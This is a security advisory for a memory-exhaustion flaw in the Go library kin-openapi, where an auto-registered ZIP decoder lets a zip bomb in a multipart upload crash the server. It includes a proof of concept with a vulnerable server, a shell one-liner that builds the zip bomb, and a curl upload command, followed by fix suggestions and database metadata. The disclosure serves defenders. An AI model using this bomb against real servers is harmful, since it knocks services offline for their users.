kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.
### Summary
When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.
### Details
The root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).
### PoC
To reproduce the vulnerability, you can use the following OpenAPI schema:
```yaml
openapi: 3.0.0
info:
title: 'Validator'
version: 0.0.1
paths:
/:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
required:
- file
properties:
file:
type: string
format: binary
responses:
'200':
description: Created
```
And this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):
```go
package main
import (
"fmt"
"log"
"net/http"
"github.com/getkin/kin-openapi/openapi3filter"
legacyrouter "github.com/getkin/kin-openapi/routers/legacy"
"github.com/getkin/kin-openapi/openapi3"
)
func handler(w http.ResponseWriter, r *http.Request) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromFile("schema.yaml")
if err != nil {
http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
return
}
if err := doc.Validate(r.Context()); err != nil {
http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
return
}
router, err := legacyrouter.NewRouter(doc)
if err != nil {
http.Error(w, "Failed to create router", http.StatusInternalServerError)
return
}
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, "Failed to find route", http.StatusNotFound)
return
}
input := &openapi3filter.RequestValidationInput{
Request: r,
QueryParams: r.URL.Query(),
Route: route,
PathParams: pathParams,
}
if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
return
}
w.Write([]byte("request ok !"))
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
```
We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:
```shell
perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt
```
Run the PoC provided, and upload the zip bomb with `curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v`.
Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)
### Impact
An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.
It seems to only be exploitable if the OpenAPI schema allows for multipart upload.
### Remediation
I see at least 2 potential fixes/improvements:
- Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
- Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Mar 19, 2025, 4:03:26 PM
dateUpdated: Mar 19, 2025, 6:25:11 PM
8 related source bulletins · separate from aliases
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-409
Original publisher date fields
published: 2025-03-19T16:15:33.607
lastModified: 2026-06-17T09:08:15.600
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.